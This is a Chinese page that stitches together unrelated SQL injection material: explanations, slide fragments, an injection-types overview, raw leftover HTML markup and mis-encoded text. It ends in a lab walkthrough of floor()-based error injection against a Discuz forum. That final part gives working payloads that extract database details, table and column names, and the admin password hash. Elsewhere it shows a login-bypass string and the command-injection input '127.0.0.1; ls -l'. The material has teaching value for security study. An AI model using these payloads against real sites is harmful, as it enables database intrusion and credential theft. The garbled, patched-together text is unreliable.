SQL注入之floor函数注入
sql注入举例说明

SQL注入什么是SQL注入?SQL注入(SQL Injection)是一种常见的网络攻击方式,它利用Web应用程序对用户输入数据的处理不当,通过在输入中插入恶意的SQL代码,从而实现对数据库的非法操作或获取敏感信息的目的。
Web应用程序通常使用结构化查询语言(SQL)与数据库进行交互,以实现数据的存储、检索和更新等功能。
而SQL注入攻击利用了这一过程中的漏洞,通过在用户输入的数据中插入特定的SQL代码,使得应用程序在处理输入时错误地将用户输入的数据当作SQL命令的一部分执行。
SQL注入攻击可以导致数据库中的数据被非法访问、篡改、删除或者泄漏,严重的甚至可能导致整个系统被控制。
因此,对于开发和运维人员来说,了解SQL注入的原理、常见的攻击场景和防御措施非常重要。
SQL注入的原理SQL注入的原理主要是利用了应用程序对用户输入数据的处理不当,没有对输入进行充分的验证和过滤,导致恶意的SQL代码被执行。
Web应用程序通常将用户输入的数据拼接到SQL语句中,然后交由数据库执行。
如果应用程序没有对用户输入进行充分的验证和过滤,攻击者可以在输入中插入恶意的SQL代码,使得应用程序在处理输入时错误地将用户输入的数据当作SQL命令的一部分执行。
例如,一个简单的登录页面可能会将用户输入的用户名和密码拼接到SQL语句中进行查询,如下所示:SELECT * FROM users WHERE username = '输入的用户名' AND password = '输入的密码'如果应用程序没有对用户输入进行充分的验证和过滤,攻击者可以在用户名或密码中插入特殊字符,从而改变SQL语句的逻辑。
例如,输入' OR '1'='1作为用户名,那么拼接后的SQL语句将变为:SELECT * FROM users WHERE username = '' OR '1'='1' AND password = '输入的密码'这个SQL语句的逻辑是先判断用户名是否为空,如果为空则返回所有用户数据,否则继续判断密码是否正确。
超炫PPTSQL注入

• SQL注入简介 • SQL注入攻击手段 • 如何防范SQL注入 • SQL注入案例分析 • 总结与展望
01
SQL注入简介
SQL注入的定义
SQL注入是一种利用应用程序对用户 输入验证不严格或未验证的漏洞,向 数据库查询中注入恶意SQL代码,从 而执行非授权操作或窃取敏感数据的 安全攻击手段。
输入验证和清理
1
对用户输入进行验证和清理是防范SQL注入的重 要步骤。
2
对所有用户输入进行验证,确保输入符合预期的 格式和类型,可以排除恶意输入。
3
对用户输入进行清理,如转义特殊字符,可以防 止恶意输入被当作SQL代码执行。
错误处理
01
02
03
错误的错误处理方式可能会暴露 数据库的敏感信息,从而给攻击 者提供更多机会进行SQL注入攻 击。
报错注入
总结词
报错注入是一种利用数据库报错信息来推断 其他数据的技术。
详细描述
攻击者通过向应用程序输入特定的SQL语句 片段,使得应用程序在执行查询时返回数据 库的错误信息。攻击者再通过分析这些错误 信息来推断出数据库中的敏感数据。
03
如何防范SQL注入
参数化查询
参数化查询是一种有效的防止SQL注入的方法。它通过将输入数据与SQL语句分开处理,确保输入数 据被当作数据而不是SQL代码执行。
它通过在用户输入中插入或"注入"恶 意SQL代码,使得原本的查询逻辑被 篡改,进而达到攻击者的目的。
SQL注入的危害
数据泄露
攻击者可以利用SQL注入获取数 据库中的敏感信息,如用户密码、 个人信息等。
数据篡改
攻击者可以修改数据库中的数据, 如篡改用户账号信息、恶意删除 数据等。
orderby注入的方法

orderby注入的方法注入攻击是一种常见的网络安全漏洞,攻击者通过在输入的数据中插入恶意代码来执行非法操作。
其中最常见的注入攻击是SQL注入和命令注入。
下面是一些常见的orderby注入方法及相关防护措施。
1.SQL注入SQL注入是指攻击者通过在SQL查询语句中插入恶意代码来实现非法操作。
常见的SQL注入攻击包括利用orderby注入造成的盲注和报错注入。
- 盲注:攻击者通过不断改变orderby子句中的条件,根据返回结果的变化判断查询语句的执行结果。
例如,攻击者可以尝试改变`ORDER BY`子句中的字段名称,并观察页面的返回结果是否改变。
防护措施:-使用预编译语句或参数化查询,确保输入的数据被正确地转义和处理。
-限制数据库用户的权限,避免使用具有过高权限的用户账号来执行SQL查询。
-检查输入的数据是否符合预期格式,并对其进行验证和过滤。
-对用户输入进行安全编码,例如使用特殊字符转义函数或过滤函数。
-定期更新数据库软件,确保使用的是最新的版本,以修复已知的漏洞。
2.命令注入命令注入是指攻击者通过在系统命令中插入恶意代码来执行非法操作。
OrderBy注入可以在一些特定的应用场景下利用命令注入漏洞。
- 例子:假设一个Web应用程序,用户可以通过在Web界面中输入ping命令来测试网络连接。
这个应用程序没有对用户输入进行过滤和验证,攻击者可以通过在输入中插入恶意代码来执行其他任意的命令。
例如,攻击者可以尝试输入`127.0.0.1; ls -l`来执行ls命令查看服务器上的文件列表。
防护措施:-针对不同应用场景,检查用户输入是否符合预期格式,并进行验证和过滤。
-不建议将用户输入作为系统命令的一部分直接执行,可以使用可信的命令执行函数或工具进行处理。
-对用户输入进行安全编码,例如使用特殊字符转义函数或过滤函数。
-定期更新系统软件,确保使用的是最新的版本,以修复已知的漏洞。
总结:无论是SQL注入还是命令注入,重要的是要对用户输入进行严格的过滤和验证,确保输入的数据符合预期格式,并针对不同的应用场景采取相应的安全措施。
sql注入工具

sql注入工具SQL注入工具一、简介SQL注入是一种常见的网络攻击形式,恶意用户通过在用户输入中插入SQL代码,成功执行恶意操作并获取非法数据。
为了有效地检测和防止SQL注入攻击,许多开发人员和安全专家使用SQL注入工具。
本文将介绍SQL注入工具的概念、原理、应用和一些常见的工具。
二、SQL注入工具的概念SQL注入工具是一种软件或工具,旨在帮助开发人员和安全专家测试和验证应用程序的安全性,并找到潜在的SQL注入漏洞。
通过模拟SQL注入攻击,这些工具能够发现应用程序中存在的漏洞,并提供修复建议。
常见的SQL注入工具有SQLMap、HackBar、Burp Suite等。
三、SQL注入工具的原理SQL注入工具的原理是通过输入恶意的SQL代码,来测试应用程序对于SQL注入的防护能力。
在模拟SQL注入攻击时,工具会自动构建SQL语句,并将恶意的SQL代码嵌入其中。
然后,工具会将这些构造好的数据发送给目标站点,并分析返回的结果,以判断是否存在SQL注入漏洞。
SQL注入工具通常会尝试不同的注入技术和方法,包括但不限于联合查询注入、报错注入和布尔盲注入等,以增加发现漏洞的几率。
四、SQL注入工具的应用SQL注入工具在应用程序的开发和测试过程中起到了关键作用。
以下是SQL注入工具的一些常见应用场景:1. 漏洞测试:通过使用SQL注入工具,开发人员可以主动测试应用程序的安全性,发现和修复潜在的SQL注入漏洞。
2. 安全评估:安全专家可以使用SQL注入工具对应用程序进行评估,检查其对SQL注入攻击的防护能力,并提供建议和解决方案。
3. 学习和研究:SQL注入工具也被广泛用于安全培训和研究,帮助开发人员和安全专家了解SQL注入的原理和技术。
五、常见的SQL注入工具1. SQLMap:SQLMap是一款功能强大的自动化SQL注入工具,可以自动检测和利用SQL注入漏洞。
它支持多种数据库类型,包括MySQL、Oracle和Microsoft SQL Server等。
sql注入总结

sql注⼊总结sql注⼊先看⼏个已经发⽣的sql注⼊phpmyadmin sql注⼊漏洞(CVE-2020-5504)漏洞原理 web应⽤程序对⽤户输⼊数据的合法性没有判断或者过滤不严格,攻击者在程序事先定义好的sql语句结尾添加额外的sql语句,欺骗sql 服务器执⾏⾮授权的任意查询,得到⼀些数据。
漏洞危害 1. 脱库,通过批量查询的⽅式获取数据库中有⽤的信息。
2. 查询管理员的账号、密码,从⽽利⽤管理员账号密码做更多的操作。
3. 对数据增删改查,达到⾮法的⽬的。
4. 如果有读写权限,也可以直接向服务器写⽊马⽂件,读取服务器中敏感⽂件,进⼀步进⾏提权,从⽽控制整个服务器。
漏洞利⽤ 1. union联合查询 union⽤于合并两个或者多个select语句的结果集。
通过将原有查询语句结果置为空,页⾯上就会回显union后的select语句的结果。
联合查询中需要得到原有查询语句的列数,最常⽤的两种⽅式1. 使⽤order byid=1' order by 3 --+2. 使⽤union语句判断列数id=1' union select NULL,NULL,NULL --+在Oracle中,每个查询语句都必须使⽤FROM关键字并指定⼀个有效的表,有⼀个DUAL表id=1' union select NULL,NULL from DUAL -- 使⽤union查询可利⽤的sql函数有:mysql中@@version #查询数据库版本database() #查当前数据库user() #⽤户有3个常⽤的连接字符串函数:concat(1,2) #将两个字符串连接在⼀起concat_ws(#,1,2) #不同的字符串⽤#隔开group_concat(1,2,3) #显⽰在同⼀⾏ 数据库中的默认库或者表 mysql中有⼀个information_schema库,该库中有3张默认表:分别为: SCHEMATA、TABLES、COLUMNS 对应的字段名有:SCHEAMTA_NAME;TABLE_SCHEMATA,TABLE_NAME;TABLE_SCHEMATA,TABLE_NAME,COLUMN_NAME; 2. 报错注⼊ 当页⾯没有回显信息,但是存在sql的报错语句时,我们就可以尝试使⽤报错注⼊,通过⼀些函数的使⽤,导致数据库执⾏出错,返回我们构造的查询语句的结果。
SQL注入之盲注简单总结

SQL注⼊之盲注简单总结SQL注⼊之盲注简单总结原创最后发布于2019-07-19 19:22:22 阅读数 122发布于2019-07-19 19:22:22分类专栏:版权声明:本⽂为博主原创⽂章,遵循版权协议,转载请附上原⽂出处链接和本声明。
本⽂链接:<a class="href-article-edit slide-toggle">展开</a></div></div></div></div><article class="baidu_pl"><!--python安装⼿册开始--><!--python安装⼿册结束--><!--####专栏⼴告位图⽂切换开始--><!--####专栏⼴告位图⽂切换结束--><div id="article_content" class="article_content clearfix"><link rel="stylesheet" href="https:///release/phoenix/template/css/ck_htmledit_views-833878f763.css"><div id="content_views" class="markdown_views prism-dracula"><!-- flowchart 箭头图标勿删 --><svg xmlns="/2000/svg" style="display: none;"><path stroke-linecap="round" d="M5,0 0,2.5 5,5z" id="raphael-marker-block" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);"></path></svg><h2><a name="t0"></a><a name="t0"></a><a id="Mysql_0"></a>Mysql盲注总结</h2>什么是盲注?盲注就是在sql注⼊过程中,sql语句执⾏的选择后,选择的数据不能回显到前端页⾯。
sql注入原理及解决方案
sql注⼊原理及解决⽅案
sql注⼊原理
sql注⼊原理就是⽤户输⼊动态的构造了意外sql语句,造成了意外结果,是攻击者有机可乘
SQL注⼊攻击指的是通过构建特殊的输⼊作为参数传⼊Web应⽤程序,⽽这些输⼊⼤都是SQL语法⾥的⼀些组合,通过执⾏SQL语句进⽽执⾏攻击者所要的操作,其主要原因是程序没有细致地过滤⽤户输⼊的数据,致使⾮法数据侵⼊系统。
根据相关技术原理,SQL注⼊可以分为平台层注⼊和代码层注⼊。
前者由不安全的数据库配置或数据库平台的漏洞所致;后者主要是由于程序员对输⼊未进⾏细致地过滤,从⽽执⾏了⾮法的数据查询。
基于此,SQL注⼊的产⽣原因通常表现在以下⼏⽅⾯:①不当的类型处理;②不安全的数据库配置;③不合理的查询集处理;④不当的错误处理;⑤转义字符处理不合适;⑥多个提交处理不当。
sql注⼊危害
数据库信息泄漏:数据库中存放的⽤户的隐私信息的泄露。
⽹页篡改:通过操作数据库对特定⽹页进⾏篡改。
⽹站被挂马,传播恶意软件:修改数据库⼀些字段的值,嵌⼊⽹马链接,进⾏挂马攻击。
数据库被恶意操作:数据库服务器被攻击,数据库的系统管理员帐户被窜改。
服务器被远程控制,被安装后门。
经由数据库服务器提供的操作系统⽀持,让⿊客得以修改或控制操作系统。
破坏硬盘数据,瘫痪全系统。
sql注⼊解决⽅案
1.参数验证
2.特殊字符过滤
3.使⽤参数化语句,不要拼接sql
4.编码输出
5.平台过滤
总之就是要做好过滤与编码并使⽤参数化语句,这样sql注⼊漏洞基本能够解决呢。
SQL注入经典教程
SQL注入经典教程1.SQL注入基础SQL注入的基本原理是通过将SQL代码注入到应用程序的输入字段中来攻击数据库。
攻击者通常会使用单引号作为注入的开始和结束标记,并使用特殊字符来构造有效的SQL语句。
例如,攻击者可以在用户名输入框中输入"'OR'1'='1'--"来绕过登录验证。
2.SQL注入类型SQL注入可以分为三种类型:盲注、错误型注入和联合查询注入。
盲注是最基础的注入形式,攻击者通过判断应用程序的响应来推断注入点是否存在。
错误型注入是通过触发应用程序的错误信息来获得数据库的结构和内容。
联合查询注入是通过在原有SQL语句中插入额外的查询语句来获取数据。
3.防范SQL注入的措施为了防范SQL注入,我们可以采取以下措施:-使用参数化查询或预编译语句,避免将用户输入直接拼接到SQL语句中;-对用户输入进行严格的输入验证和过滤,只允许特定的字符;-设置安全的数据库权限,限制查询、更新和删除的权限;-使用最新的安全补丁和漏洞修复来保护数据库;-限制错误信息的显示,不要将详细的错误信息暴露给用户。
4.SQL注入的危害SQL注入可以对数据库造成严重的破坏和影响,攻击者可以通过注入恶意的SQL代码来执行未经授权的操作,如删除数据、修改数据、操纵数据库结构等。
另外,攻击者还可以获取敏感信息,如用户的登录凭证、个人信息、信用卡信息等。
5.靶场演练和学习为了更好地学习和了解SQL注入,可以通过参加靶场演练来提升自己的技能。
靶场演练提供了一个模拟的环境,供用户练习和测试SQL注入的攻击和防御技术。
常用的靶场演练平台包括WebGoat、bWAPP等。
总结:SQL注入是一种常见的网络安全漏洞,可以通过将恶意的SQL代码注入到应用程序中来获取敏感信息或执行未经授权的操作。
为了防范SQL注入,我们需要采取一系列的安全措施,如使用参数化查询、严格验证用户输入、设置安全的数据库权限等。
sql 注入简介与分类 - 简书
sql 注入简介与分类 - 简书
SQL注入是一种常见的网络安全漏洞,在网站应用中较为普遍。
攻击者通过输入恶意SQL语句,破坏原有的数据库查询结构,导致程序行为异常,甚至被攻击者拖库、泄露用户信息等危害。
SQL注入可分为以下几种类型:
1.基于错误的SQL注入:将攻击者构造的SQL语句插入到服务器中,服务器执行时就会出错,而错误信息可以提示攻击者成功注入。
2.布尔型的SQL注入:利用布尔型的特性进行注入,即通过程序返回的不同信息来判断注入的结果是否正确。
3.时间型的SQL注入:在判断条件中利用数据库支持的函数语句(如sleep、benchmark等)判断注入是否成功。
4.联合查询型SQL注入:攻击者利用程序中联合查询的过程中,将恶意注入进行查询操作,从而达到获取数据的目的。
5.堆叠查询型SQL注入:通过在一次查询中构造多条SQL语句,赖以进行攻击,使得攻击者可以查询到一些敏感数据。
以上是SQL注入的基本分类,攻击者可根据实际情况进行相应的注入方式。
消除SQL注入的方法包括对输入数据进行验证过滤,使用参数化查询,以及对数据库进行访问控制等等。
SQL注入详细步骤讲解
SQL注⼊详细步骤讲解SQL注⼊详细步骤讲解1、Get型整型与字符型注⼊判断:举例:http://xxx/xxx/Less-1/?id=1 and 1=1 --+输⼊?id=1 and 1=1 --+正常,输⼊?id=1 and 1=2 --+报错,可判断为整型注⼊。
http://xxx.xxx/Less-1/?id=1'输⼊?id=1'出现报错,输⼊?id=1''正常,可判断为字符型注⼊。
http://xxx.xxx/Less-1/?id=1' and 1=1 -- -输⼊?id=1' and 1=1 -- -正常,输⼊?id=1' and 1=2 -- -报错,可判断为字符型注⼊。
http://xxx/xxx/Less-1/?id=1' and 1=1 --+输⼊?id=1' and 1=1 --+正常,输⼊?id=1' and 1=2 --+报错,可判断为字符型注⼊。
总结:--+为注释后⾯的内容 -- -也可以⽤,效果⼀样。
单引号是⽤来猜其是否存在字符型注⼊的,不加的就是测试其是否是整型注⼊的。
2、判断列数判断完整型还是字符型后,去判断有多少列,当输⼊的列数超过它本来的就会出现报错。
举例:id=1' order by 4 --+ 判断这个数据库是否有四列,如果不是会报错,反之不报错。
3、判断显⽰位及在显⽰位上放⼀些sql函数来获取你想要知道的。
id改为0或负数或100000这种很⼤的数,这中不存在的情况就会使其报错,就会直接执⾏后⾯的语句。
举例:id=0' union select 1,2,3 --+ 判断其中的显⽰位为哪个,假如是3,那就可在这个位置上加⼊sql函数来测试。
MySql的函数有:1:system_user() 系统⽤户名2:user() ⽤户名3:current_user 当前⽤户名4:session_user() 连接数据库的⽤户名5:database() 数据库名6:version() MYSQL数据库版本7:load_file() 转成16进制或者是10进制 MYSQL读取本地⽂件的函数8:@@datadir 读取数据库路径9:@@basedir MYSQL 安装路径10:@@version_compile_os 操作系统举例:1)http://xxx/Less-1/?id=0' union select 1,2,database() --+ 获取当前数据库名。
- 1、下载文档前请自行甄别文档内容的完整性,平台不提供额外的编辑、内容补充、找答案等附加服务。
- 2、"仅部分预览"的文档,不可在线预览部分如存在完整性等问题,可反馈申请退款(可完整预览的文档不适用该条件!)。
- 3、如文档侵犯您的权益,请联系客服反馈,我们会尽快为您处理(人工客服工作时间:9:00-18:30)。
SQL注入之floor函数注入
【实验目的】
掌握针对floor函数注入的整个过程及手工注入的语法。
【实验原理】
报错是因为floor(rand(0)*2的不确定性,group by floor(rand(0)*2)出错的原因是key是个随机数,
检测临时表中key是否存在时计算了一下floor(rand(0)*2)可能为0,也可能为1,就会导致插入时冲突而
报错。即检测时和插入时两次计算了随机数的值。
此种报错中,报错结构固定,少一个都不可以,如图1所示:
图1
需要注意的时此种报错结果都会添加一个1,所以需要将报错出来的结果去掉一个1之后才是最终的
结果。如图2所示:
图2
可以看出需要注入的是数据库版本,正确版本是5.7.13,但是经过报错语句注入出来的是5.7.131,
我们需要将最后一位的1去掉,就得到了正确的数据库版本。此处添加的1位置不是固定的,而是取决于
payload 的位置。所以在去掉1时需要根据自行构造的payload的位置,如图3所示:
根据以上的语法确定了基于floor函数的报错注入的结构如下:
select count(*),concat(payload,floor(rand(0)*2))x from information_schema.columns group by x;
需要将注入中的payload放在语句中payload的位置。
【实验环境】
目标站点:192.168.1.3/discus
操作机器:192.168.1.2
【实验步骤】
一、 使用SQL语句进行注入攻击
1.1使用Firefox浏览器打开目标站点:192.168.1.3/discuz,访问网页,可以发现
discuz/faq.php?action=faq&id=1这样的页面,我们可以对action这个参数进行注入攻击。
图3
1.2 获取数据库相关信息,数据库的相关信息有主机名(@@hostname),数据库路径(@@datadir),当
前数据库(database()),数据库用户(user())等等,当action=grouppermission就可以注入了。因为faq.php
中的gids变量没有被初始化产生了注入漏洞,使用固定语句:
faq.php?action=grouppermission&gids[99]='&gids[100][0]=)加上我们的payload就能实现注入攻击。数据
库的相关信息有主机名(@@hostname),数据库路径(@@datadir),当前数据库(database()),数据库用户
(user())等等。使用concat_ws函数将所有信息全部显示出来,payload为:
(select 1 from from
(select count(*),concat((select (select concat_ws(0x5e,@@version,@@datadir,user(),database())))
,floor(rand(0)*2))xinformation_schema.tables group by x)a)%23
图4
如图4所示,可以从页面报错信息中获得数据库的相关信息,数据库为版本为:10.1.13-MariaDB,
数据库路径为C:\xampp\mysql\data\,当前用户为:root@localhost,使用的数据库为:discuz。这里注意
使用floor(rand(0)*2)函数会在结果后面多加一个1,将1取出后才是正确的结果。
1.3 获取所有数据库,使用concat函数在information_schema中的schemata查询数据库名称使用payload
为:
(select 1 from(select count(*),concat((select (SELECT distinct concat(0x7e,schema_name,0x7e) FROM
information_schema.schemata LIMIT 0,1)),floor(rand(0)*2))x from information_schema.tables group
by x)a)%23
图5
如图5所示,报错信息中获得数据库名称为discuz。
1.4获取数据库名称后获取数据库中的表,使用concat函数,在information_schema的tables表中获
取表名,使用payload:
(select 1 from(select count(*),concat((select (SELECT distinct concat(0x7e,table_name,0x7e) FROM
information_schema.tables where table_schema=database() LIMIT 0,1)),floor(rand(0)*2))x from
information_schema.tables group by x)a)%23
其中0x7e是分隔符~的HEX编码。
图6
如图6所示,报错信息中获得discuz中的表名名称为access,但只是数据库中的一个表,因为一次只
能显示一个,使用limit函数显示回显个数,可以更改limit函数的参数获取需要的表名。
1.5获取数据表的之后,需要获取表中的字段的信息,同样使用相同结构的sql语句,通过搜索表,
发现我们需要的表为cdb_menbers,构造payload为:
(select 1 from(select count(*),concat((select (SELECT distinct concat(0x7e,column_name,0x7e) FROM
information_schema.columns where table_name=0x6364625f6d656d62657273 LIMIT
0,1)),floor(rand(0)*2))x from information_schema.tables group by x)a)%23
其中6364625f6d656d62657273是表名cdb_members的HEX编码,可以使用火狐浏览器hacbar插件对
字符串进行hex编码,如图7所示:
图7
接下来使用我们的sql攻击获得回显,如图8所示:
图8
这样就从报错回显中获得字段的信息了,同样通过修改limit函数的参数就可以遍历整个表中的所有
字段的值。
1.6获取字段内容,确定了字段的名称后可以进入最后一步,获取字段对应的信息的值了,通过遍历字段值,
发现我们需要的字段为username和password字段。构造payload为:
(select 1 from (select count(*),concat(((select (select concat(username,0x27,password) from cdb_members
limit 1))),floor(rand(0)*2))x from information_schema.tables group by x)a)%23
对目标进行攻击:
图9
如图9所示,最终获得用户名为:admin以及密码为:9c6fdc559dd6bb9e107c0ebc76f6300f1的信息
通过以上步骤,获取了该站点的管理员账号,在此案例中整体的payload为:
(select 1 from (select count(*),payload group by x)a)%23
注入漏洞利用为:
faq.php?action=grouppermission&gids[99]='&gids[100][0]=)
payload的位置放的核心语句为:
获取数据库信息:
concat((select (select concat_ws(0x5e,@@version,@@datadir,user(),database()))
获取数据库名:
concat((select (SELECT distinct concat(0x7e,schema_name,0x7e) FROM information_schema.schemata
LIMIT 0,1))
获取当前数据表名:
concat((select (SELECT distinct concat(0x7e,table_name,0x7e) FROM information_schema.tables
where table_schema=database() LIMIT 0,1)),
获取指定表中的字段名:
concat((select (SELECT distinct concat(0x7e,column_name,0x7e) FROM information_schema.columns
where table_name=表名的HEX编码 LIMIT 0,1)),
获取指定字段内容:
concat(((select (select concat(xxx) from xxx limit 1)))
【实验思考】
该案例中存在其他数据库,想要操作其他数据库改怎么操作。
题目一改案例中数据库中存放着table_name,column_name字段的数据是:(a)
A information_schema
Bmysql
C sys
D jdycms